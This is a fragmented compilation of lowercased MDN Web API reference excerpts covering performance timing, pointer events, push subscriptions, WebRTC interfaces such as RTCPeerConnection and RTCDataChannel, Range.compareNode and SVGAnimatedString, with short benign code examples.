...rty. if it is omitted, then the start time will be the navigation start time. endmark optional a domstring representing the name of the measure's ending mark. may also be the name of a performancetiming property. if it is omitted, then the current time is used. return value void example the following example shows how measure() is used to create a new measure performance entry in the browser's performance entry buffer. const markernamea = "example-marker-a" const markernameb = "example-marker-b" // run some nested timeouts, and create a performancemark for each. performance.mark(markernamea); settimeout(function() { performance.mark(markernameb); settimeout(function() { // create a variety of measurements. performance.measure("measure a to b", markernamea, markername...
performance.setResourceTimingBufferSize() - Web APIs
the setresourcetimingbuffersize() method sets the browser's resource timing buffer size to the specified number of "resource" performance entry type objects. a browser's recommended resource timing buffer size is at least 150 performance entry objects. note: this feature is available in web workers. syntax performance.setresourcetimingbuffersize(maxsize); arguments maxsize a number representing the maximum number of performance entry objects the browser should hold in its performance entry buffer. return value none this method has no return value. ...
...is available in web workers. syntax performance.setresourcetimingbuffersize(maxsize); arguments maxsize a number representing the maximum number of performance entry objects the browser should hold in its performance entry buffer. return value none this method has no return value. example function setresourcetimingbuffersize(maxsize) { if (performance === undefined) { log("browser does not support web performance"); return; } var supported = typeof performance.setresourcetimingbuffersize == "function"; if (supported) { log("... performance.setresourcetimingbuffersize() = yes"); performance.setresourcetimingbuffersize(maxsize); } else { log("... performance.setresourcetimingbuffersize() = not supported"); } } specifications specificat...
PerformanceEventTiming - Web APIs
ace it with your own url. function sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.sendbeacon()` if available, falling back to `fetch()`. (navigator.sendbeacon && navigator.sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { function onfirstinputentry(entry) { // only report fid if the page wasn't hidden prior to // the entry being dispatched. this typically happens when a // page is loaded in a background tab. if (entry.starttime < firsthiddentime) { const fid = entry.processingstart - entry.sta...
...calls `onfirstinputentry` for each entry. const po = new performanceobserver((entrylist) => { entrylist.getentries().foreach(onfirstinputentry); }); // observe entries of type `first-input`, including buffered entries, // i.e. entries that occurred before calling `observe()` below. po.observe({ type: 'first-input', buffered: true, }); } catch (e) { // do nothing if the browser doesn't support this api. } specifications specification status comment unknownthe definition of '[[member]]' in that specification. unknown initial definition. ...
PerformanceNavigationTiming.redirectCount - Web APIs
example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
PerformanceResourceTiming.domainLookupEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
...the domain name lookup for the resource. if the user agent has the domain information in cache, domainlookupstart and domainlookupend represent the times when the user agent starts and ends the domain data retrieval from the cache. note: this feature is available in web workers. syntax resource.domainlookupend; return value a domhighrestimestamp representing the time immediately after the browser finishes the domain name lookup for the resource. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(...
PerformanceResourceTiming.domainLookupStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
PerformanceResourceTiming.fetchStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
PerformanceResourceTiming.responseEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
PerformanceResourceTiming.responseStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
PerformanceResourceTiming.secureConnectionStart - Web APIs
if a secure connection is not used, this property returns zero. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
...if a secure connection is not used, this property returns zero. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
Multi-touch interaction - Web APIs
s. it may be called multiple times (for example, if the user moves the pointer) before a different event type is fired. in this application, a pointer move is represented by the target's border being set to dashed to provide a clear visual indication that the element has received this event. function pointermove_handler(ev) { // note: if the user makes more than one "simultaneous" touch, most browsers // fire at least one pointermove event and some will fire several pointermoves. // // this function sets the target element's border to "dashed" to visually // indicate the target received a move event. if (logevents) log("pointermove", ev); update_background(ev); ev.target.style.border = "dashed"; } pointer up the pointerup event is fired when a pointer is raised from the contact su...
...n pointerup_handler(ev) { if (logevents) log(ev.type, ev); // remove this touch point from the cache and reset the target's // background and border remove_event(ev); update_background(ev); ev.target.style.border = "1px solid black"; } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and to clear the log. to prevent the browser's default touch behavior from overriding this application's pointer handling, the touch-action property is applied to the <body> element. <body onload="init();" style="touch-action:none"> <div id="target1"> tap, hold or swipe me 1</div> <div id="target2"> tap, hold or swipe me 2</div> <div id="target3"> tap, hold or swipe me 3</div> <!-- ui for logging/debugging --> <button id="log" oncl...
PushManager.subscribe() - Web APIs
that the push server will use to authenticate your application server. if specified, all messages from your application server must use the vapid authentication scheme, and include a jwt signed with the corresponding private key. this key is not the same ecdh key that you use to encrypt the data. for more information, see "using vapid with webpush". note: this parameter is required in some browsers like chrome and edge. returns a promise that resolves to a pushsubscription object. example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc. } navigator.serviceworker.register('serviceworker.js'); // use serviceworker.ready to ensure that you can subscribe for ...
...firefox is already doing this from version 72, for example. specifications specification status comment push apithe definition of 'subscribe()' in that specification. working draft initial definition. ...
RTCConfiguration.bundlePolicy - Web APIs
two peers across a single 5-tuple, that is, from a single ip and port on one peer to a single ip and port on another peer, all using the same rtcdtlstransport. the goal of bundling is to optimize performance by reducing the overhead of having multiple transports in play. the fewer rtp transports or bundles of rtp streams you have, the better the network performance will be. all current major browsers are bundle compatible. examples the following example creates a new rtcpeerconnection with a configuration setting the connection's bundlepolicy to max-compat to maximize compatibility while attempting to optimize network use. it also specifies stun:stun.example.com as the stun server for ice to use during negotiation. let config = { iceservers: [ { urls: [ "stun:stun.example.c...
...ng to optimize network use. it also specifies stun:stun.example.com as the stun server for ice to use during negotiation. let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification. candidate recommendation initial definition. ...
RTCConfiguration.iceTransportPolicy - Web APIs
cy }; rtcconfiguration.icetransportpolicy = policy; let policy = rtcconfiguration.icetransportpolicy; value a domstring which indicates what ice candidate policy the ice agent should use during the negotiation process, per the jsep standard. the permitted values are: all the ice agent is permitted to use any kind of candidate, including both local and relay candidates. the agent—or the browser itself—may still perform some form of ip filtering on the incoming candidates for reasons including privacy and security, as well as to simply limit the number of candidates. this is the default. relay the ice agent only considers media relay candidates when evaluating candidates. this includes, for example, those candidates relayed by a stun or turn server. this can be used to prevent ...
...reed to receive the call. examples in this example, a new connection is configured to only accept relay candidates. let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification. candidate recommendation initial definition. ...
RTCConfiguration - Web APIs
. the value must be one of those from the rtcrtcpmuxpolicy enum. the default is "require". constants rtcbundlepolicy enum the rtcbundlepolicy enum defines string constants which are used to request a specific policy for gathering ice candidates if the remote peer isn't "bundle-aware" (compatible with the sdp bundle standard for bundling multiple media streams on a single transport link). all browser implementations are bundle-aware. if the remote endpoint is bundle-aware, all media tracks and data channels are bundled onto a single transport at the completion of negotiation, regardless of policy used, and any superfluous transports that were created initially are closed at that point. note: in technical terms, a bundle lets all media flow between two peers flow across a single 5-tuple; ...
... candidate recommendation initial definition. ...
RTCDTMFSender.insertDTMF() - Web APIs
as the tones parameter clears the tone buffer, aborting any currently queued tones. a "," character inserts a two second delay. duration optional the amount of time, in milliseconds, that each dtmf tone should last. this value must be between 40 ms and 6000 ms (6 seconds), inclusive. the default is 100 ms. intertonegap optional the length of time, in milliseconds, to wait between tones. the browser will enforce a minimum value of 30 ms (that is, if you specify a lower value, 30 ms will be used instead); the default is 70 ms. return value undefined exceptions invalidstateerror the dtmf tones couldn't be sent because the track has been stopped, or is in a read-only or inactive state. invalidcharactererror one or more of the characters in tones is not valid dtmf. example tbd sp...
...e default is 70 ms. return value undefined exceptions invalidstateerror the dtmf tones couldn't be sent because the track has been stopped, or is in a read-only or inactive state. invalidcharactererror one or more of the characters in tones is not valid dtmf. example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender.insertdtmf()' in that specification. candidate recommendation ...
RTCDataChannel.id - Web APIs
Web › API › RTCDataChannel › id
id number (between 0 and 65,534) which uniquely identifies the rtcdatachannel. this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true). each rtcpeerconnection can therefore have up to a theoretical maximum of 65,534 data channels on it, although the actual maximum may vary from browser to browser. in early versions of the webrtc specification, this property's name was stream. code that uses that property needs to be updated. syntax var id = adatachannel.id; value an unsigned short value (that is, an integer between 0 and 65,535) which uniquely identifies the data channel. while the label property doesn't have to be unique, this id number is guaranteed to be unique am...
...e id makes it easier for your code to do its own out-of-band data channel-related signaling. this can be also useful for logging and debugging purposes. example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); console.log("channel id: " + dc.id); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.id' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.maxPacketLifeTime - Web APIs
the read-only rtcdatachannel property maxpacketlifetime returns the amount of time, in milliseconds, the browser is allowed to take to attempt to transmit a message, as set when the data channel was created, or null. this limits how long the browser can continue to attempt to transmit and retransmit the message before giving up. syntax var lifetime = adatachannel.maxpacketlifetime; value the number of milliseconds over which the browser may continue to attempt to transmit the message until it either succeeds or gives up. if not set when rtcpeerconnection.createdatachannel() was called to create the data channel, this value is null. ...
...ime; value the number of milliseconds over which the browser may continue to attempt to transmit the message until it either succeeds or gives up. if not set when rtcpeerconnection.createdatachannel() was called to create the data channel, this value is null. example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxpacketlifetime' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.maxRetransmits - Web APIs
the read-only rtcdatachannel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before giving up, as set when the data channel was created, or null, which indicates that there is no maximum. this can only be set when the rtcdatachannel is created by calling rtcpeerconnection.createdatachannel(), using the maxretransmits field in the specified options. syntax var tries = adatachannel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before giving up, or null if not set when rtcpeerconnection.createdatachannel() was called. the default is null. ...
...pecified options. syntax var tries = adatachannel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before giving up, or null if not set when rtcpeerconnection.createdatachannel() was called. the default is null. example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxretransmits' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.onbufferedamountlow - Web APIs
the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel. this event, which is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold. see buffering in using webrtc data channels to learn more about how to work with the data channel buffer. syntax rtcdatachannel.onbufferedamountlow = function; value a function which the browser will call to handle the bufferedamountlow event. this function receives as its only input parameter a simple event object representing the event which has occurred. example this example responds to the bufferedamountlow event...
...nnel.send() to queue up the retrieved data for sending on the data channel. pc = new rtcpeerconnection(); dc = pc.createdatachannel("sendfile"); /* ... */ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onbufferedamountlow' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.onclose - Web APIs
the function receives as its sole input parameter the event itself, as an object of type event. example in this sample from a hypothetical instant messaging client, a data channel is created, then handlers for the open and close events are set up to enable and disable user interface objects based on the state of the channel. ...
... candidate recommendation initial specification. ...
RTCDataChannel.onclosing - Web APIs
the rtcdatachannel.onclosing property is an eventhandler which specifies a function to be called by the browser when the closing event is received by the rtcdatachannel. this is a simple event which indicates that the data channel is being closed, that is, rtcdatachannel transitions to "closing" state. for example, after rtcdatachannel.close() was called but the underlying data transport might not have been closed yet. syntax rtcdatachannel.onclosing = function; value a function which the browser will call to handle the closing event. the function receives as its sole input parameter the event itself, as an object of type event. ...
... the underlying data transport might not have been closed yet. syntax rtcdatachannel.onclosing = function; value a function which the browser will call to handle the closing event. the function receives as its sole input parameter the event itself, as an object of type event. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onclosing' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.onerror - Web APIs
the rtcdatachannel.onerror property is an eventhandler which specifies a function to be called when the error event is received. when an error occurs on the data channel, the function receives as input an errorevent object describing the error which occurred. syntax rtcdatachannel.onerror = function; value a function which the browser will call to handle the error event when it occurs on the data channel. this function receives as its only input an errorevent object describing the event which was received. that event object, in turn, describes the error that took place. example in the example below, a data channel is established, and an onerror handler is added to it. the error handler passes information about the error to a ui library's alert box function to present an error message ...
... candidate recommendation initial specification. ...
RTCDataChannel.onmessage - Web APIs
the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel. this event is represented by the messageevent interface. this event is sent to the channel when a message is received from the other peer. syntax rtcdatachannel.onmessage = function; value a function which the browser will call to handle the message event. the function receives as its sole input parameter a messageevent object describing the event. example this code snippet creates a peer connection, adds a data channel to it, and starts creating new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it. the new elements are then attached to the end of the document. let pc = new rtcpeerconn...
...the end of the document. let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.onopen - Web APIs
the rtcdatachannel.onopen property is an eventhandler which specifies a function to be called when the open event is fired; this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established. syntax rtcdatachannel.onopen = function; value a function which the browser will call to handle the open event. the function receives as its only input parameter the event itself, of type event. example this example adds a new data channel to an existing rtcpeerconnection, mypeerconnection. it then establishes an open event handler which updates some user interface elements to prepare them for being used to send messages over the data channel. let dc = mypeerconnection.createdatachanne...
... candidate recommendation initial specification. ...
RTCDataChannel.readyState - Web APIs
readystate; values a string which is one of the values in the rtcdatachannelstate enum, indicating the current state of the underlying data transport. rtcdatachannelstate enum the rtcdatachannelstate enum defines string constants which reflect the current status of the rtcdatachannel's underlying data connection. constant description "connecting" the user agent (browser) is in the process of creating the underlying data transport; that is, whatever network level connection is used to link the two peers together is in the process of being set up. this is the state of a new rtcdatachannel after being created by rtcpeerconnection.createdatachannel() (on the peer which started the connection process). "open" the underlying data transport has been estab...
... candidate recommendation initial specification. ...
RTCDtlsTransport - Web APIs
interface has no methods. description allocation of dtls transports rtcdtlstransport objects are created when an app calls either setlocaldescription() or setremotedescription(). the number of dtls transports created and how they're used depends on the bundling mode used when creating the rtcpeerconnection. whether bundling is used depends on what the other endpoint is able to negotiate. all browsers support bundling, so when both endpoints are browsers, you can rest assured that bundling will be used. some non-browser legacy endpoints, however, may not support bundle. to be able to negotiate with such endpoints (or to exclude them entirely), the rtcconfiguration property bundlepolicy may be provided when creating the connection. the bundlepolicy lets you control how to negotiate with the...
... candidate recommendation initial definition. ...
RTCIceCandidateInit.usernameFragment - Web APIs
ing ice interaction, including for any communication with the stun server. the string may be up to 256 characters long, and has no default value. randomization at least 24 bits of the text in the ufrag are required to be randomly selected by the ice layer at the beginning of the ice session. the specifics for which bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide. for example, a browser might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1. another example: it might take a user-defined string and append three 8-bit random bytes to the end. or perhaps every character is entirely random. example ... specifications specification status comment ...
...might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1. another example: it might take a user-defined string and append three 8-bit random bytes to the end. or perhaps every character is entirely random. example ... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.usernamefragment' in that specification. candidate recommendation initial specification. ...
RTCNetworkType - Web APIs
udes all cellular data services including edge (2g), hspa (3g), lte (4g), and nr (5g). ethernet the described connection uses an ethernet network. wifi the described connection uses wifi. wimax the described connection uses a wimax network. vpn the connection uses a virtual private network (vpn). the vpn obscures the underlying network type, which is not discernible. unknown the user's browser is unable or unwilling to identify the underlying connection technology used by the described connection. this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid device fingerprinting. note: keep in mind that the specified value only reflects the initial connection between the ...
...peer and the next hop along the network toward reaching the remote peer. for example, if the networktype is wifi but the user is connected using a cellular hotspot, the connection will be bottlenecked by the underlying cellular network (and any other networks between the two peers). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcnetworktype' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.addIceCandidate() - Web APIs
this adds this new remote candidate to the rtcpeerconnection's remote description, which describes the state of the remote end of the connection. if the candidate parameter is missing or a value of null is given when calling addicecandidate(), the added ice candidate is an "end-of-candidates" indicator. ...
... candidate recommendation initial specification. ...
RTCPeerConnection.addStream() - Web APIs
ck, stream); }); }); the newer addtrack() api avoids confusion over whether later changes to the track-makeup of a stream affects a peer connection (they do not). the exception is in chrome, where addstream() does make the peer connection sensitive to later stream changes (though such changes do not fire the negotiationneeded event). if you are relying on the chrome behavior, note that other browsers do not have it. you can write web compatible code using feature detection instead: // add a track to a stream and the peer connection said stream was added to: stream.addtrack(track); if (pc.addtrack) { pc.addtrack(track, stream); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } // remove a track...
... candidate recommendation initial specification. ...
RTCPeerConnection: addstream event - Web APIs
t, which is sent for each media track added to the rtcpeerconnection. bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onaddstream you can, similarly, watch for streams to be removed from the connection by monitoring the removestream event. examples this example looks to determine if the user's browser supports the track event. if it does, a track event listener is set up; otherwise, an addstream event listener is set up. pc is an rtcpeerconnection. if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream be...
... is set up; otherwise, an addstream event listener is set up. pc is an rtcpeerconnection. if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track. you can also use the addeventlistener() method to set an event listener: pc.addeventlistener("addstream", ev => doaddstream(ev.stream), false); ...
RTCPeerConnection.canTrickleIceCandidates - Web APIs
can accept trickled ice candidates. ice trickling is the process of continuing to send candidates after the initial offer or answer has already been sent to the other peer. this property is only set after having called rtcpeerconnection.setremotedescription(). ideally, your signaling protocol provides a way to detect trickling support, so that you don't need to rely on this property. a webrtc browser will always support trickle ice. if trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of icegatheringstate changes to "completed" before creating and sending the initial offer. that way, the offer contains all of the candidates. syntax var cantrickle = rtcpeerconnection.cantrickleicecandidates; value a boo...
... candidate recommendation initial specification. ...
RTCPeerConnection.close() - Web APIs
n the process of stopping, but for all intents and purposes, they're stopped). once this method returns, the signaling state as returned by rtcpeerconnection.signalingstate is closed. make sure that you delete all references to the previous rtcpeerconnection before attempting to create a new one that connects to the same remote peer, as not doing so might result in some errors depending on the browser. example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications ...
... candidate recommendation initial specification. ...
RTCPeerConnection.createAnswer() - Web APIs
the answer is delivered to the returned promise, and should then be sent to the source of the offer to continue the negotiation process. ...
...er protocol you see fit. promise.catch() is used to trap and handle errors. see handling the invitation in signaling and video calling to see the complete code, in context, from which this snippet is derived; that will help you understand the signaling process and how answers work. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createanswer()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.createOffer() - Web APIs
the createoffer() method of the rtcpeerconnection interface initiates the creation of an sdp offer for the purpose of starting a new webrtc connection to a remote peer. the sdp offer includes information about any mediastreamtracks already attached to the webrtc session, codec, and options supported by the browser, and any candidates already gathered by the ice agent, for the purpose of being sent over the signaling channel to a potential peer to request a connection or to update the configuration of an existing connection. the return value is a promise which, when the offer has been created, is resolved with a rtcsessiondescription object containing the newly-created offer. syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcallback, failurecal...
... as long as both the caller and potential receiver are using the same one. use promise.catch() to trap and handle errors. see signaling and video calling for the complete example from which this snippet is derived; this will help you to understand how the signaling code here works. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createoffer()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.getStats() - Web APIs
sender or receiver. obsolete syntax previously, getstats() used success and failure callbacks to report the results to you, instead of using a promise. this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of that data was never documented. this form of getstats() has been or will soon be removed from most browsers; you should not use it, and should update existing code to use the new promise-based version. check the browser compatibility table to verify the state of this method. promise = rtcpeerconnection.getstats(selector, successcallback, failurecallback) parameters selector optional a mediastreamtrack for which to gather statistics. if this is null (the default value), statistics will be gat...
... candidate recommendation initial definition. ...
RTCPeerConnection.onconnectionstatechange - Web APIs
to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection. this happens whenever the aggregate state of the connection changes. the aggregate state is a combination of the states of all of the individual network transports being used by the connection. syntax rtcpeerconnection.onconnectionstatechange = eventhandler; value a function which is called by the browser when the connectionstatechange event occurs on the rtcpeerconnection. the function receives as input a single parameter, which is an object of type event. the event object contains no special information of note; you can look at the value of the peer connection's connectionstate property to determine what the new state is. example pc.onconnectionstatechange = function(event) { switch(pc.con...
... candidate recommendation initial specification. ...
RTCPeerConnection.onicecandidate - Web APIs
the rtcpeerconnection property onicecandidate property is an eventhandler which specifies a function to be called when the icecandidate event occurs on an rtcpeerconnection instance. this happens whenever the local ice agent needs to deliver a message to the other peer through the signaling server. this lets the ice agent perform negotiation with the remote peer without the browser itself needing to know any specifics about the technology being used for signaling; simply implement this method to use whatever messaging technology you choose to send the ice candidate to the remote peer. syntax rtcpeerconnection.onicecandidate = eventhandler; value this should be set to a function which you provide that accepts as input an rtcpeerconnectioniceevent object representing the icecandidate event...
...he remote peer. pc.onicecandidate = function(event) { if (event.candidate) { // send the candidate to the remote peer } else { // all ice candidates have been sent } } notice that the end of negotiation is detected here when the event's candidate property is null. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicecandidate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.setLocalDescription() - Web APIs
is one of stable, have-local-offer, or have-remote-pranswer, the webrtc runtime automatically creates a new offer and sets that as the new local description. otherwise, setlocaldescription() creates an answer, which becomes the new local description. type of the description parameter the description is of type rtcsessiondescriptioninit, which is a serialized version of a rtcsessiondescription browser object. they're interchangeable: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(offer); }); this is equivalent to: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(new rtcsessiondescription(offer)); }); for this reason, the rtcsessiondescription() constructor is deprecated. return valu...
...); } } this begins by creating an offer by calling createoffer(); when that succeeds, we call setlocaldescription(). we can then send the newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalremotepeer(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnectionIceErrorEvent - Web APIs
is property is set to the number 701, which is outside the range of valid stun error codes. the 701 error is fired only once per server url, and only while the is icegatheringstate is gathering. errortext read only a domstring containing the stun reason text returned by the stun or turn server. if communication with the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error. port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address. null if the connection hasn't been established (that is, if address is null). url read only a domstring indicating the url of the stun or turn server with which the error occurred...
...'t been established (that is, if address is null). url read only a domstring indicating the url of the stun or turn server with which the error occurred. methods rtcpeerconnectioniceerrorevent has no methods other than any provided by the parent interface, event. examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent' in that specification. candidate recommendation initial definition. ...
RTCRtpCapabilities - Web APIs
ming to the rtcrtpheaderextensioncapability dictionary. each object contains a single domstring, uri, specifying the uri of the header extension, as described in rfc 5285. description the codecs array the codecs array is an array of objects conforming to the dictionary rtcrtpcodeccapability. each of these objects describes a single codec and its basic capabilities. its properties are: the browser will only report distinct capability combinations separately. if two sets of capabilities can be described as one, they will be. that means that, for instance, if there are two entries for the h.264 codec (as identified by the mimetype being "video/h264"), there are other values in the capabilities objects indicating how they're different in some way. the mime type strings used by rtp differ ...
... data; it's media type should be video/rtx. there will only be one entry for rtx, and it will not have an sdpfmtpline property. don't be surprised to see these show up ijn the list; be prepared to ignore them if you're only interested in the actual codecs used for the media itself. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcapabilities' in that specification. candidate recommendation ...
RTCRtpStreamStats - Web APIs
ties that are present in each of these cases, there are also additional properties added depending on which interface the method is called on. rtcrtpstreamstats is the base class for all rtp-related statistics reports. it's based on rtcstats and adds the following additional fields. note: this interface was called rtcrtpstreamstats until a specification update in the spring of 2017. check the browser compatibility table to know if and when the name change was implemented in specific browsers. properties the rtcrtpstreamstats dictionary is based on rtcstats, and inherits its properties. in addition, some or all of the following properties are available. standard fields included for all media types codecid a domstring which uniquely identifies the object which was inspected to produce...
...uely identifies the rtcmediastreamtrackstats object representing the associated mediastreamtrack. this is not the same as the value of mediastreamtrack.id. transportid a domstring uniquely identifying the object which was inspected to produce the rtctransportstats object associated with this rtp stream. obsolete fields mediatype renamed to kind in the specification in february 2018. see browser compatibility in rtcrtpstreamstats.kind to determine when browsers made the transition. local-only measurements these properties are computed locally, and are only available to the device receiving the media stream. their primary purpose is to examine the error resiliency of the connection, as they provide information about lost packets, lost frames, and how heavily compressed the data is. ...
RTCRtpTransceiver.setCodecPreferences() - Web APIs
idaccesserror the codecs list includes one or more codecs which are not supported by the transceiver. usage notes getting a list of supported codecs you can only include in the codecs list codecs which the transceiver actually supports. that means that either the associated rtcrtpsender or the rtcrtpreceiver needs to support every codec in the list. if any unsupported codecs are listed, the browser will throw an invalidaccesserror exception when you call this method. a good approach to setting codec preferences is to first get the list of codecs that are actually supported, then modify that list to match what you want. pass the altered list into setcodecpreferences() to specify your preferences. to determine which codecs are supported by the transceiver, call the sender's getcapabilitie...
...wing code snippet demonstrates how to get both the list of codecs supported by the transceiver's rtcrtpsender and rtcrtpreceiver. var availsendcodecs = transceiver.sender.getcapabilities("video").codecs; var availreceivecodecs = transceiver.receiver.getcapabilities("video").codecs; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.setcodecpreferences()' in that specification. candidate recommendation ...
Range.compareNode() - Web APIs
Web › API › Range › compareNode
obsolete since gecko 1.9 (firefox 3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the range.comparenode() returns a constant indicating the position of the node. the possible values are: node_before (0) node starts before the range node_after (1) node ends after the range node_before_and_after (2) node starts before and ends after the range node_inside (3) node starts after and ends before the range, i.e. the node is completely selected by the range. ...
...0) node starts before the range node_after (1) node ends after the range node_before_and_after (2) node starts before and ends after the range node_inside (3) node starts after and ends before the range, i.e. the node is completely selected by the range. warning: this method has been removed from gecko 1.9 (firefox 3) and will not exist in future versions of firefox, which was the only browser implementing it; you should switch to range.compareboundarypoints() as soon as possible. the following function can be used as replacement: function rangecomparenode(range, node) { var noderange = node.ownerdocument.createrange(); try { noderange.selectnode(node); } catch (e) { noderange.selectnodecontents(node); } var nodeisbefore = range.compareboundarypoints(range.star...
SVGAnimatedString - Web APIs
imation value. if the given attribute or property is being animated it contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, it contains the same value as baseval. svganimatedstring.baseval this is a domstring representing the base value. the base value of the given attribute before applying any animations. ...
...base value of the given attribute before applying any animations. setter throws domexception. methods the svganimatedstring interface do not provide any specific methods. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedstringchrome ...
SVGImageElement.decoding - Web APIs
